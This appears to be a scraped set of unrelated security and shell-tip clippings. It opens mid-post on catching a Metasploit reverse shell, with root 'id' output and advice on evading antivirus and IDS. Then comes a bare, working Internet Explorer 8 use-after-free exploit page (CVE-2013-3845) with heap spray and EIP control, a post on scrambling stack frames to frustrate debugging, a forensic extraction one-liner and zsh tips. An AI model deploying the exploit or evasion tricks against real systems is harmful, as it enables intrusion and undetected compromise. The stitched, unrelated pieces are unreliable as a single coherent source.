multi/handler to receive the incoming shell.. This time the shell is
connecting back to the default port of 4444 so we set it up as follows:

[code]

    msf > use multi/handler  
    
    msf  exploit(handler) > set payload osx/x86/shell_reverse_tcp  
    
    payload => osx/x86/shell_reverse_tcp  
    
    msf  exploit(handler) > set LHOST 127.0.0.1  
    
    LHOST => 127.0.0.1  
    
    msf  exploit(handler) > exploit
[/code]

\[\*\] Started reverse handler on 127.0.0.1:4444  
\[\*\] Starting the payload handler...  
\[\*\] Command shell session 1 opened \(127.0.0.1:4444 -> 127.0.0.1:54471\) at
2011-10-20 09:19:03 -0400

id  
uid=0\(root\) gid=0\(wheel\)
groups=0\(wheel\),1\(daemon\),2\(kmem\),8\(procview\),29\(certusers\),3\(sys\),9\(procmod\),4\(tty\),5\(operator\),80\(admin\),20\(staff\),101\(com.apple.sharepoint.group.1\)

If you want to go back and add the exec\(\) function to encode this payload
and avoid IDS keep in mind your payload may contain ASCII representations of
NULL \(0x00\) characters. In ASCII it is harmless, but once you encode it you
may have trouble decoding it. If you want to encode that payload run your
output through msfencode and use the -b option to eliminate null characters
from your payload.

As an aside, it is worth noting that when you compile this to an exe with
pyinstaller you create a python interpreter with an ASCII representation of
your script it it. Today no antivirus software detects the ascii source code
of Metasploit payloads as malicious. I'm just saying. There you go. Simple,
but effective. :\)

Tweets - @markbaggett

Join me and Ed Skoudis for SANS 560 Network Penetration Testing and Ethical
Hacking vLive \! Starting January 10, 2012 \(wow.. 2012 already\)  CLICK HERE
for more information.

  *[October 23, 2011  6:48 PM

    ]: 2011-10-23T18:48:45-05:00

# Crash analysis with BitBlaze

**Created:**| _8/2/2010 7:37:42 PM_  
---|---  
**Updated:**| _8/2/2010 7:38:05 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification Debugging papers reversing awesome
crashes_  
  
<img src='img/Temp2_1641' />

# CVE-2013-3845

**Created:**| _10/29/2013 9:36:54 AM_  
---|---  
**Updated:**| _10/29/2013 9:41:57 AM_  
**Author:**| __  
**Tags:**| _Exploit windows environment Heap bin-diffing patch-based_  
  

[code]

    <!DOCTYPE HTML>
    <html>
    	<script>
    		
    		/*
    		
    			- Microsoft Internet Explorer 8 (mshtml!CTreePos) use-after-free vulnerability
    			- IDs: MS-13-069/CVE-2013-3845
    			- Tested against Windows XP SP3 Spanish language (before September'13 patches)
    			- Credits to Jose A. Vazquez of Yenteasy - Security Research - 
    		
    		*/
    		var heap = new Array();
    		var nop = unescape("%ucaca%ucaca");//Nop
    		
    		//Prepare the path to gain the control over EIP
    		var code = unescape("%u0428%u0c0d");//Pointer needed (This will come from [edi+edx*8-28h])
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += unescape("%u4101%u4141");//Filler (Here goes the checks of [edi] = al = 0x03)
    		code += nop;//Filler
    		code += nop;//Filler
    		code += unescape("%u0438%u0c0d");//Pointer needed
    		code += unescape("%u4343%u4343");//esi (This from [ecx+1c] = [[edi+edx*8-28h] + 1c])
    		code += nop;//Filler
    		code += unescape("%u044c%u0c0d");//vtable/vtable pointer for fake TreeNode (From [ecx+24h] =  [[edi+edx*8-28h] + 24h]))
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += unescape("%u4141%u4141");//eip
    		var rop = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
    		shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
    		var offset = 0x200;
    		var nopsled = nop;	//Filler
    		while (nopsled.length < 0x1000) nopsled += nopsled;
    		var chunks = nopsled.substring(0,offset) + code + rop + shellcode;
    		chunks += nopsled.substring(0,0x800-offset-code.length-rop.length-shellcode.length);
    		
    		while (chunks.length < 0x80000) chunks += chunks;
    		
    		//Allocate the chunks
    		for (var i = 0; i < 0x700; i++){
    			heap.push(chunks.substring(0,0x40000-0x21));
    		}
    
    		//Trying it again
    		function tryAgain(){
    			location.reload();
    		}
    		
    		//Allocating an array of fake objects
    		function fakeObject(size, divs){
    			var pointer = unescape("%u0434%u0c0d");
    			while(pointer.length < 0x100) pointer +=  unescape("%u0434%u0c0d");
    			var fake = pointer.substring(0, (size-6)/2);
    			for(var i=0;i<divs.length;i++){
    				divs[i].className = fake;
    			}
    		}
    		
    		//Creating an array of Divs working as allocators
    		function getAllocator(num){
    			var obj = new Array();
    			for(var i=0;i<num;i++){
    				var dive = document.createElement("div");
    				obj.push(dive);
    			}
    			return obj;
    		}
    		
    		//Triggering the UAF
    		function Trigger(){
    			for(i=0;i<document.getElementsByTagName("textarea").length;i++){
    				document.getElementsByTagName("textarea")[i].innerHTML = 'foo';
    			}
    			for(i=0;i<document.getElementsByTagName("textarea").length;i++){
    				var cdivs = getAllocator(0x100);//Get ready 0x100 objects
    				fakeObject(0x60, cdivs);//Object size: 0x60 bytes
    				document.getElementsByTagName("textarea")[i].scrollHeight;
    			}
    		}
    		
    		setTimeout("tryAgain()", 3000);
    		
    	</script>
    	<style>
    	
    		textarea{
    			display: ruby;
    		}
    		
    	</style>
    	<textarea><script>Trigger();</script></textarea>
    	<form><script>foo();</script><script>Trigger();</script></form>
    </html>
[/code]

# » Scrambling the stack for fun and profit ForTheScience.org

**Created:**| _9/10/2014 9:41:45 AM_  
---|---  
**Updated:**| _9/10/2014 9:41:45 AM_  
**Author:**| __  
**Tags:**| _programming Memory corruptions_  
  

Like any good respected tinkerer, I sometimes like to play with the madness
and intricacies of the hardware and software I use. Recently I was tracing
problems in a software I won’t name but whose objective is to prevent
tampering attempts, and while dumping stacks and disassembling routines, I
came around this very interesting backtrace

[code]

    #0  0x0000003f95e0d654 in __lll_lock_wait () from /lib64/libpthread.so.0
    #1  0x0000003f95e08f65 in _L_lock_1127 () from /lib64/libpthread.so.0
    #2  0x0000003f95e08e63 in pthread_mutex_lock () from /lib64/libpthread.so.0
    #3  0x00002b67cbdeaded in ?? ()
    #4  0x000000002d0e9608 in ?? ()
    #5  0x00002b67cbd1e1f2 in ?? ()
    #6  0x000000000000000b in ?? ()
    #7  0x00002aaaca08e410 in ?? ()
    #8  0x00002aaab405d558 in ?? ()
    #9  0x00002aaaadf65f48 in ?? ()
    #10 0x00002aaaadf65fa0 in ?? ()
    #11 0x00002aaaadf65fc0 in ?? ()
    #12 0x00002aaaadf65f40 in ?? ()
    #13 0x00002aaaadf65f50 in ?? ()
    #14 0x000000002d0e7460 in ?? ()
    #15 0x0000000026014330 in ?? ()
    #16 0x00002b67cc1d08b0 in ?? ()
[/code]

Interesting, I said to myself. I had no idea why I didn’t have any backtrace
information. What’s interesting is that the addresses appeared to be
incorrect, or not pointing to any code section. Note for example \#6. I hardly
doubt that’s a correct address. I had no idea why this happened.

Nevertheless, I eventually found what I was looking for and moved on to other
things, but the weird stack remained in the back of my head. Could it be that
the stack has been scrambled on purpose? Maybe… or maybe the library was just
stripped? Then why the weird address at frame \#6? I still don’t know, but the
idea of scrambling the stack was appealing. So I wrote this trivial program as
a proof of concept, just for fun

[code]

    #include <stdio.h>
    
    int routine4() {
        printf("hello\n");
    }
    int routine3() {
        routine4();
    }
    int routine2() {
        routine3();
    }
    int routine1() {
        routine2();
    }
    int main() {
        routine1();
    }
[/code]

then I compiled it with a simple g++ file.cpp, set a breakpoint on routine4,
ran it, and asked for a backtrace

[code]

    #0  0x0000000100000e18 in routine4 ()
    #1  0x0000000100000e2f in routine3 ()
    #2  0x0000000100000e3a in routine2 ()
    #3  0x0000000100000e45 in routine1 ()
    #4  0x0000000100000e50 in main ()
[/code]

Pretty nice backtrace. We see the full information and all routine names. If
we disassemble routine4, we also see the printf, which is actually reworked
into a puts on OSX 10.6.8 with gcc.

[code]

    0x0000000100000e14 <_z8routine4v +0>:	push   %rbp
    0x0000000100000e15 <_z8routine4v +1>:	mov    %rsp,%rbp
    0x0000000100000e18 <_z8routine4v +4>:	lea    0x45(%rip),%rdi        # 0x100000e64
    0x0000000100000e1f <_z8routine4v +11>:	callq  0x100000e5e <dyld_stub_puts>
    0x0000000100000e24 <_z8routine4v +16>:	leaveq 
    0x0000000100000e25 <_z8routine4v +17>:	retq
[/code]

If I instead strip the binary with strip a.out, I can’t set a breakpoint on
routine4 anymore, and rightly so:

[code]

    (gdb) break routine4
    Function "routine4" not defined.
    Make breakpoint pending on future shared library load? (y or [n]) n
    (gdb) break puts
    Breakpoint 1 at 0x3126e978c12ef0
[/code]

Thanks to strip, all symbols are gone and the debugger can only refer to
addresses. I can only guess \(but not a hard one\) where the code is, by
checking at which VM pages they are mapped to, and the entry point

[code]

    (gdb) info file
    Symbols from "/Users/sbo/tmp/a.out".
    Mac OS X executable:
    	/Users/sbo/tmp/a.out, file type mach-o-le.
    	Entry point: 0x0000000100000dd8
    	0x0000000100000000 - 0x0000000100001000 is LC_SEGMENT.__TEXT in /Users/sbo/tmp/a.out
    	0x0000000100000dd8 - 0x0000000100000e57 is LC_SEGMENT.__TEXT.__text in /Users/sbo/tmp/a.out
[/code]

In any case, with the breakpoint at puts I can get to the printf and issue a
backtrace to get to our infamous condition

[code]

    #0  0x00007fff86eb0ef0 in puts ()
    #1  0x0000000100000e24 in ?? ()
    #2  0x0000000100000e2f in ?? ()
    #3  0x0000000100000e3a in ?? ()
    #4  0x0000000100000e45 in ?? ()
    #5  0x0000000100000e50 in ?? ()
    #6  0x0000000100000e0c in ?? ()
[/code]

Yet, as you can see, the stack makes sense. I cannot disassemble, but at least
I can dump the contents and they make sense

[code]

    (gdb) disas 0x0000000100000e24
    No function contains specified address.
    (gdb) x/30i  0x0000000100000e24
    0x100000e24:	leaveq 
    0x100000e25:	retq   
    0x100000e26:	push   %rbp
    0x100000e27:	mov    %rsp,%rbp
    0x100000e2a:	callq  0x100000e14
    0x100000e2f:	leaveq 
    0x100000e30:	retq   
    0x100000e31:	push   %rbp
    0x100000e32:	mov    %rsp,%rbp
    0x100000e35:	callq  0x100000e26
    0x100000e3a:	leaveq 
    0x100000e3b:	retq   
    0x100000e3c:	push   %rbp
    0x100000e3d:	mov    %rsp,%rbp
    0x100000e40:	callq  0x100000e31
    0x100000e45:	leaveq 
    0x100000e46:	retq   
    0x100000e47:	push   %rbp
    0x100000e48:	mov    %rsp,%rbp
    0x100000e4b:	callq  0x100000e3c
    0x100000e50:	mov    $0x0,%eax
    0x100000e55:	leaveq 
    0x100000e56:	retq
[/code]

In fact, you can see the whole shebang. All the calls of the routines, the
stack pointer changes, and the final setting to zero of eax when main ends.

# Scrambling the return address

Here is the idea: Instead of smashing the stack, I will try to scramble it.
What does it mean? Well, let’s see how the stack is when we are just about to
be calling puts. We select the previous frame

[code]

    (gdb) frame 1
    #1  0x0000000100000e24 in ?? ()
[/code]

Get the stack pointer at the current frame

[code]

    (gdb) info registers
    ...snip...
    rbp            0x7fff5fbff680	0x7fff5fbff680
    rsp            0x7fff5fbff680	0x7fff5fbff680
    ...snip...
[/code]

Then we take a look at what is in there

[code]

    (gdb) x/10a 0x7fff5fbff680
    0x7fff5fbff680:	0x7fff5fbff690	0x100000e2f
    0x7fff5fbff690:	0x7fff5fbff6a0	0x100000e3a
    0x7fff5fbff6a0:	0x7fff5fbff6b0	0x100000e45
    0x7fff5fbff6b0:	0x7fff5fbff6c0	0x100000e50
    0x7fff5fbff6c0:	0x7fff5fbff6d8	0x100000e0c
    (gdb) bt
    #0  0x00007fff86eb0ef0 in puts ()
    #1  0x0000000100000e24 in ?? ()
    #2  0x0000000100000e2f in ?? ()
    #3  0x0000000100000e3a in ?? ()
    #4  0x0000000100000e45 in ?? ()
    #5  0x0000000100000e50 in ?? ()
    #6  0x0000000100000e0c in ?? ()
[/code]

Nothing unusual, it’s simply the stack pointer and the return address,
traditional stack contents for a routine call. When the routine returns, the
old return address will be restored to the rip, and the program will continue
where it left off, at the routine call. If we were to change this address in
the stack, the program would jump to a different location, and that would be
bad and likely lead to a crash. Note however that, in order for the stack to
unwind correctly, only the frame below the current one is needed, and it’s
needed just before the return occurs.

So, we can technically scramble all the stack, set those addresses to
something else and completely break the backtrace even of a non-stripped
binary, provided that we restore the frame under the current one just before
returning. The process will be:

  1. Inside every routine, we will drop at the assembly level and write a prologue section where we alter the underlying frame’s return address.
  2. we do our thing inside the routine
  3. Again at the assembly level, we write an epilogue section where we restore the return address, just before issuing the return that needs it.

With this strategy in place, if you break anywhere inside the function all the
frames \(except the one your code is currently in\) will be “scrambled” and
pointing at nonsensical memory areas. Despite the completely trashed stack,
the program will behave correctly because when those addresses will be needed
at return, the right address has been restored just a few instructions
earlier. Let’s see:

[code]

    int routine4() {
        asm("mov 8(%rsp), %rbx"); 
        asm("lea 0xdeeead(,%rbx,), %rbx");
        asm("mov %rbx, 8(%rsp)");
        printf("hello\n");
        asm("mov 8(%rsp), %rbx");
        asm("lea -0xdeeead(,%rbx,), %rbx");
        asm("mov %rbx, 8(%rsp)");
    }
[/code]

I altered the routine to perform the prologue and the epilogue. In the
prologue, I extract the content of the stack pointer plus 8, which happens to
be the return address. I put this value in rbx as it seems to be unused. Then,
with lea, I add a fixed offset \(oxdeeead\) to the content of rbx. Finally, I
write this value back in the stack at %rsp+8.  
In the epilogue, I simply perform the opposite operation, subtracting 0xdeeead
and restoring the correct return address in the stack. If I compile and run,
the program works correctly. The gdb session is really nice:

[code]

    Breakpoint 1, 0x0000000100000df4 in routine4 ()
    (gdb) bt
    #0  0x0000000100000df4 in routine4 ()
    #1  0x0000000100000e2f in routine3 ()
    #2  0x0000000100000e3a in routine2 ()
    #3  0x0000000100000e45 in routine1 ()
    #4  0x0000000100000e50 in main ()
[/code]

Note how the stack is correct, as we haven’t executed the prologue yet.

[code]

    (gdb) disas
    Dump of assembler code for function _Z8routine4v:
    0x0000000100000df0 <_z8routine4v +0>:	push   %rbp
    0x0000000100000df1 <_z8routine4v +1>:	mov    %rsp,%rbp
    0x0000000100000df4 <_z8routine4v +4>:	mov    0x8(%rsp),%rbx           # prologue 
    0x0000000100000df9 <_z8routine4v +9>:	lea    0xdeeead(,%rbx,1),%rbx   # prologue
    0x0000000100000e01 <_z8routine4v +17>:	mov    %rbx,0x8(%rsp)           # prologue
    0x0000000100000e06 <_z8routine4v +22>:	lea    0x57(%rip),%rdi          # 0x100000e64
    0x0000000100000e0d <_z8routine4v +29>:	callq  0x100000e5e <dyld_stub_puts>
    0x0000000100000e12 <_z8routine4v +34>:	mov    0x8(%rsp),%rbx           # epilogue         
    0x0000000100000e17 <_z8routine4v +39>:	lea    -0xdeeead(,%rbx,1),%rbx  # epilogue
    0x0000000100000e1f <_z8routine4v +47>:	mov    %rbx,0x8(%rsp)           # epilogue
    0x0000000100000e24 <_z8routine4v +52>:	leaveq  
    0x0000000100000e25 <_z8routine4v +53>:	retq   
    End of assembler dump.
[/code]

The current situation looks like this:

[code]

    (gdb) info register
    rbx            0x0	0
    rsp            0x7fff5fbff680	0x7fff5fbff680
    (gdb) x/10a 0x7fff5fbff680
    0x7fff5fbff680:	0x7fff5fbff690	0x100000e2f <_z8routine3v +9>
    0x7fff5fbff690:	0x7fff5fbff6a0	0x100000e3a <_z8routine2v +9>
    0x7fff5fbff6a0:	0x7fff5fbff6b0	0x100000e45 <_z8routine1v +9>
    0x7fff5fbff6b0:	0x7fff5fbff6c0	0x100000e50
[/code]

Stepping instruction after instruction, we can follow the events: first the
rbx register is filled with the return address from the stack

[code]

    -> mov    0x8(%rsp),%rbx
    (gdb) info register rbx 
    rbx 0x100000e2f 4294970927
[/code]

Then, we add 0xdeeead

[code]

    -> lea    0xdeeead(,%rbx,1),%rbx
    (gdb) info register rbx
    rbx            0x100defcdc	4309581020
[/code]

and finally, we store it back into the stack

[code]

    -> mov    %rbx,0x8(%rsp)           # prologue
    (gdb) x/10a 0x7fff5fbff680
    0x7fff5fbff680:	0x7fff5fbff690	0x100defcdc
    0x7fff5fbff690:	0x7fff5fbff6a0	0x100000e3a <_z8routine2v +9>
    0x7fff5fbff6a0:	0x7fff5fbff6b0	0x100000e45 <_z8routine1v +9>
    0x7fff5fbff6b0:	0x7fff5fbff6c0	0x100000e50
[/code]

Et voila’. The backtrace is now pointing to neverland

[code]

    (gdb) bt
    #0  0x0000000100000e06 in routine4 ()
    #1  0x0000000100defcdc in ?? ()
    #2  0x0000000100000e3a in routine2 ()
    #3  0x0000000100000e45 in routine1 ()
    #4  0x0000000100000e50 in main ()
[/code]

If we were to return now, a segfault would occur: that return address is
completely invalid. It’s only by performing the reverse operation that we can
land safely back into routine3

[code]

    -> mov    0x8(%rsp),%rbx
    rbx            0x100defcdc
    -> lea    -0xdeeead(,%rbx,1),%rbx  
    rbx            0x100000e2f	
    -> mov    %rbx,0x8(%rsp)         
    Stack 0x7fff5fbff680:	0x7fff5fbff690	0x100000e2f <_z8routine3v +9>
[/code]

Now the backtrace is sane again and we are ready to return

[code]

    (gdb) bt
    #0  0x0000000100000e24 in routine4 ()
    #1  0x0000000100000e2f in routine3 ()
    #2  0x0000000100000e3a in routine2 ()
    #3  0x0000000100000e45 in routine1 ()
    #4  0x0000000100000e50 in main ()
[/code]

Now that we can reliably alter the stack frame, we can apply the same trick to
our complete call hierarchy. Here is the full code:

[code]

    #include <stdio.h>
    
    #define scramble() asm("mov 8(%rsp), %rbx"); \
                        asm("lea 0xdead(,%rbx,), %rbx"); \
                        asm("mov %rbx, 8(%rsp)")
    
    #define unscramble() asm("mov 8(%rsp), %rbx"); \
                         asm("lea -0xdead(,%rbx,), %rbx"); \
                         asm("mov %rbx, 8(%rsp)")
    int routine4() {
        scramble();
        printf("hello\n");
        unscramble();
    }
    int routine3() {
        scramble();
        routine4();
        unscramble();
    }
    int routine2() {
        scramble();
        routine3();
        unscramble();
    }
    int routine1() {
        scramble();
        routine2();
        unscramble();
    }
    int main() {
        scramble();
        routine1();
        unscramble();
    }
[/code]

If you compile it, it runs

[code]

    sbo@sbos-macbook:~/tmp$ g++ test.cpp 
    sbo@sbos-macbook:~/tmp$ ./a.out 
    hello
[/code]

and if you debug it, break at puts, and backtrace, here is the funny result:

[code]

    (gdb) bt
    #0  0x00007fff86eb0ef0 in puts ()
    #1  0x0000000100000d82 in routine4 ()
    #2  0x0000000100defc5e in ?? ()
    #3  0x0000000100defc8d in ?? ()
    #4  0x0000000100defcbc in ?? ()
    #5  0x0000000100defceb in ?? ()
    #6  0x0000000100defc05 in ?? ()
    (gdb) x/10a 0x0000000100defc8d
    0x100defc8d:	Cannot access memory at address 0x100defc8d
    (gdb) disas 0x0000000100defc8d
    No function contains specified address.
    (gdb) cont
    Continuing.
    hello
    
    Program exited normally.
[/code]

Now you can get creative. For example, you can

  * Scramble your frames according to a random number that you seed differently at every new run
  * Scramble the whole frame content, not only the return address
  * Spread out preamble and epilogue throughout the routine code, so that it’s harder to find out which opcode is devoted to actual execution, and which one is unscrambling the frame, maybe through tortuous operations full of indirections.

Of course, this stuff is extremely hard to do correctly. You have to keep into
account that some stack content could be needed by callees, so you may have to
unscramble any frame content at any time. It can also quickly turn into a
portability nightmare, as different compilers may have different strategies to
fill the stack with local variables.

Yet, it was fun, and I hope you enjoyed it.

# Quick shell script to extract the contents of an image

**Created:**| _10/29/2009 12:35:22 PM_  
---|---  
**Updated:**| _10/29/2009 12:35:40 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu pentest_  
  

## SUNDAY, OCTOBER 18, 2009

### Quick shell script to extract the contents of an image

\- assuming TSK is installed, the image "image.dd" is in the local directory,
and a directory "files" exists for the extracts. Change the offset and disk
type to suit. This particular image was a 1GB FAT16 USB drive image.  
  
\# for i in \`fls -Dr -m / -f fat -o 63 image.dd | grep -v ".Trash" | grep -v "\(deleted\)" | cut -f 2 -d"|"\`; do mkdir files/$i; done  
  
\# for i in \`fls -Fr -m / -f fat -o 63 image.dd | grep -v ".Trash" | grep -v "\(deleted\)" | cut -d "|" -f 2,4\`; do echo $i; icat -o 63 -f fat image.dd \`echo $i | cut -d "|" -f 2\` > files/\`echo $i | cut -d "|" -f 1\`; done

# ZSH Tips and Tricks by zzapper

**Created:**| _1/14/2010 11:11:20 AM_  
---|---  
**Updated:**| _1/14/2010 11:11:29 AM_  
**Author:**| __  
**Tags:**| _zsh_  
  

## Zzappers Best of ZSH Tips

zzapper's Tips Home  
  
Updated : 23Dec09 \*N\* Marks New \*C\* Corrected

[code]

    > zsh -fx   # start a "clean" version of zsh (without your startup files)
    print $ZSH_VERSION
    http://zshwiki.org/
    http://www.zsh.org/mla/ Searchable Mailing List Archive
    http://grml.org/zsh/zsh-lovers.html 
    http://zsh.sunsite.dk/Doc/Release/zsh_toc.html  Everything?
    man zsh
    man zshall
    
    
[/code]

* * *
[code]

    zsh          Zsh overview (this section)
    zshmisc      Anything not fitting into the other sections
    zshexpn      Zsh command and parameter expansion
    zshparam     Zsh parameters
    zshoptions   Zsh options
    zshbuiltins  Zsh built-in functions
    zshzle       Zsh command line editing
    zshcompwid   Zsh completion widgets
    zshcompsys   Zsh completion system
    zshcompctl   Zsh completion control
    zshmodules   Zsh loadable modules
    zshzftpsys   Zsh built-in FTP client
    zshall       Meta-man page containing all of the above
    
    
[/code]

* * *
[code]

    /usr/share/zsh/htmldoc/zsh_toc.html
    
    
[/code]

* * *
[code]

    Global aliases
    Searching and filtering my mysql database with my own utility searchdb
    >searchdb client1 | grep -i website1 | fmt -50 | putclip
    How you can simplify this using 3 zsh Global Aliases 
    >searchdb client1 G website1 F P
    alias -g ND='$(ls -d *(/om[1]))' # newest directory
    alias -g NF='$(ls *(.om[1]))'    # newest file
    Example of use
    cp NF ND
    
    
    
[/code]

* * *
[code]

    # useful zsh stuff *N*
    vi *(.om[1])      # vi newest file
    vi -p *(.om[1,3]) # open 3 newest files in tabs (gvim)
    vi *(m0)          # re-edit all files changed today!
    ls *(^m0)         # files NOT modified today
    ls -l *(m4)       # list files modified exactly 4 days ago
    vi **/main.php    # where ever it is in hierarchy
    ls (x*~x[3-5])    # list files x* except x3 to x5
    vi !$             # vi last parameter
    vi !-2:2          # second parameter of second but last command
    vi !$:r.php       # vi last parameter but change extension to .php
    ^php^cfm          # modify previous command (good for correcting spellos)
    ls *(.L0)         # list pesky empty files (yes that is a zero) *N*
    
    
    
[/code]

* * *
[code]

    !!
    !$ (last argument)
    !$:h (last argument, strip one level)
    !$:h:h (last argument, strip two levels)
    !?echo
    vi !* (all parameters)
    vi !$ (last parameter)
    vi !^  (first previous parameter)
    vi !:1 (first previous parameter)
    vi !-2:2 (second parameter of second but last command)
    
    history               # View recent commands
    !42                   # Re-execute history command 42
    
    
    
[/code]

* * *
[code]

    # substitute previous command
    r oldstr=newstr
    !!:s/fred/joe/        # edit previous command replace first fred by joe
    !!:s/fred/joe/        # Note : sadly no regexp available with :s///
    !!:gs/fred/joe/       # edit previous command replace all fred by joe
    mv Licence\ to\ Print\ Money.pdf !#^:gs/ //  # rename file removing spaces
    ^fred^joe             # edit previous command replace fred by joe
    ^str1^str2^:u:p       # replace str1 by str2 change case and just display
    echo chim
    ^chim^&-&ney-&-&-cheree # reuse LHS
    !42:p
    also use control-R
    ^str1^str2^:G         # replace as many as possible
    
    cd !?ls<TAB>   #get command and parameters of a previous ls command
    cd !?ls?:*<TAB>   #get (just) parameters of a previous ls command
    
    
[/code]

* * *
[code]

    Generating a command from an earlier one
    How to recall the parameters of a previous command, on line 7 below
    recall the parameters of line 5
    
    5> mv somefile1 /home/saket/stuff/books/
    6> acroread somefile.pdf
    7> mv somefile2 /home/saket/stuff/books/
    
    > mv !?saket
    Would bring up the whole line ready for a little editing
    
    or purist
    
    > mv !?saket?:*
    Would just bring up the parameters
    
    If you know the history number of the line (say 5) with desired parameters you can try
    
    > !5:s/somefile1/somefile2/
    
    and if you don't know the history number
    
    !?saket?:s/somefile1/somefile2/
    
    # History Substitution Summary
    #For CURRENT line that you are editing (the # designates current line)
    # Remember Tab will expand the following
    
    !#:0    command
    !#^     first parameter
    !#:1    first parameter
    !#:1-4  first 4 parameters
    !#$     last parameter
    !#*     all parameters
    !#$:s/bash/zsh perform substitution on previous parameter
    
    cp longfilename.php backup_!#^
    cp {,backup_}verylongfilename.tex   # same thing
    mv textfile.{txt,bak}   # expands to mv textfile.txt textfile.bak
    
    #For Previous Command (for comparison)
    !-1     repeat whole command
    !!      repeat (shortcut)
    !:0     command
    !^      first parameter
    !:1     first parameter
    !:1-4   first 4 parameters
    !$      last parameter
    !*      all parameters
    !!:s/bash/zsh (or ^bash^zsh)
    !^:t    just file name of first parameter
    !$:h    just path of last parameter
    !-2$:r  just file name without extension of first parameter
    
    For last but one command
    !-2     repeat last but one command
    !-2^    first parameter last but one command
    !-2$    last parameter last but one command
    !-2:2   second parameter of second but last command
    !-2:s/bash/zsh
    etc
    For history command 42
    !42
    
    
    
[/code]

* * *
[code]

    !:0 is the previous command name
    !^, !:2, !:3, !$ are the arguments
    !* is all the arguments
    !-2, !-3,  are earlier commands
    !-2^, !-2:2, !-2$, !-2* are earlier parameters
    
    cd !$:h  (remove file name)
    cat !!:t (only file name)
    # Convert images (foo.gif => foo.jpg):
    $ for i in **/*.gif; convert $i $i:r.jpg
    
    print ${param:&}   (last substitute)
    
    < readme.txt  # < shorthand for more
    
    # Directory substitution (magic)
    # if you were in directory
    /c/inetpub/dev.somehomes.co.uk/epsystem/eppigeon/
    cd dev www
    #would put you in parallel directory
    /c/inetpub/www.somehomes.co.uk/epsystem/eppigeon/
    
    
    
[/code]

* * *
[code]

    # filtering the output of a command conventionally
    print $(history -n -1|sed 's/.* //')
    # ${${(z)foo}[2]} zsh filtering mechanism
    print ${${(z)$(history -n -1)}[-1]}
    print ${${(z)history[$((HISTCMD-1))]}[-1]}
    gvim.exe $(history -n -1 | sed "s/^[^ ]* //;s/ .*//")
    print ${${(z)history[$((HISTCMD-1))]}[2]}
    
    
[/code]

* * *
[code]

    # ls
    ls -ld **/*(/^F) # list any empty directories
    print **/*(/^F) | xargs -n1 -t rmdir #delete empty directories
    zargs rmdir -- ./**/*(/od) 2> /dev/null # deletes empty directories
    ls ^x*           # list all but x*
    #list all files without an extension ( no dot)
    ls *~*.*(.)
    # delete all directories Pictures_of_* except Pictures_of_beautiful_flowers
    rm -rf Pictures_of_^beautiful_flowers   # selective delete *N*
    ls (x*~x3|x5)    # list files x* except x3 and x5
    ls **/fred*~*junk*/* # list all files fred* unless in a junk directory
    grep 'host' **/(*.cfm~(ctpigeonbot|env).cfm)
    grep -i 'host' **/(*.cfm~(ctpigeonbot|env).cfm)~*((#s)|/)junk*/*(.)
    egrep -i "^ *mail\(" **/*.php  
    grep "^ *mail\(" **/*.php~*junk*/*  #find all calls to mail, ignoring junk directories
    tel blenkinsop | grep -o "[[:alnum:][:graph:]]*@[[:alnum:][:graph:]]*" # filter just an email address from a text stream (not zsh) *N*  
    ls *.h~(fred|foo).h # same thing
    ls (x*~x[3-5])   # list files x* except x3 to x5
    ls *[^2].php~*template*  # list files with 2nd filter
    ls (xx|yy)       # list xx or yy
    ls *.(jpg|gif)   # list graphic files
    ls fred{joe,sid}.pl
    ls fred{09..13}.pl # range
    ls fred<76-88>.pl# list all files fred76.pl to fred88.pl range
    ls fred<76->.pl  # list all files fred76.pl to fred9999*.pl etc
    ls {_,}fred.php  # list files _fred.php fred.php 
    ls (_|)fred.php  # same effect by globbing
    ls *.{jpg,gif}(.N) # don't break if one or other image type absent
    
    
[/code]

* * *
[code]

    setopt no_case_glob  # set ignore case for ls etc
    
    
[/code]

* * *
[code]

    # globbing modifiers
    # :r removes the suffix from the result,
    # :t takes away the directory part
    # . means must be regular files not directories etc
    # *(om[1]) picks most recently modified file
    # (.N) no warning message if any file absent
    ls (#i)*.pmm     # case insensitive globbing (note exact syntax)
    ls *(om[1])      # print the most recent file
    cp *(om[1])<TAB> # will complete file name
    ls *(.om[1])     # print the most recent file (not directory)
    ls -l *(Om[1])   # oldest file
    ls -lt **/*.tex(D.om[1,5]) # list 5 most recent files in hierarchy
    # list 5 most recent files in each sub-directory
    dirs=( '' **/*(DM/) ) eval 'ls ${^dirs}*(ND.om[1,5])'
    ls {^dev*,}/index.php(.N) # ignore directories beginning dev*
    ls **/index.php~dev*(/*)##   # ignore subdirectories dev* multi-level
    vi *(.om[1]^D)   # vi newest file ^D means switch off GLOB_DOTS ir ignore dot files
    ls *.txt(.om[1]) # ls newest *.txt file  *N*
    ls -tld **/*(m-2)# list files modified in last 2 days in hierarchy
    ls *(om[1,5])    # print the 5 most recent files
    ls -l *(m4)      # list files modified exactly 4 days ago
    ls -ltd *(mw3)   # list files 3 weeks old
    ls -1ld *([1,10])# list just 10 files one per line , no directories
    ls *(m-1)        # files modified today
    ls *(m0)         # files modified today
    ls *(^m0)        # files NOT modified today *N*
    vi *(m0)         # re-edit all files changed today!
    ls *.{aux,dvi,log,toc} # rm latex temp files  *C*
    rm ./*(Om[1,-11])# removes all files but the ten newest ones (delete all but last 10 files in a directory)
    
    files=(${(f)"$(ls *$**)"}(.N))   # store matching files *N*
    
    ls *(n:t)        # order by name strip directory
    ls **/*(On:t)    # recursive reverse order by name, strip directory
    ls PHP*/**/*.php # recursive but only for subdirectories PHP*
    ls *.c(:r)       # strip suffix
    ls **/*(.)       # only files no directories
    ls -ld *(/)      # list only directories
    
    
[/code]

* * *
[code]

    #oddities
    [[ FOO = (#i)foo ]]  # case insensitive matching
    fred=$((6**2 + 6))      # can do maths
    : > /apache/access.log  # truncate a log file
    
    
[/code]

* * *
[code]

    # arrays
    X=(x1 x2)               # create an array
    print -C 1 $X           # print each array element on it's own line
    ls $X
    print ${#path}          # length of "path" array
    print ${#path[1]}       # length of first element in path array
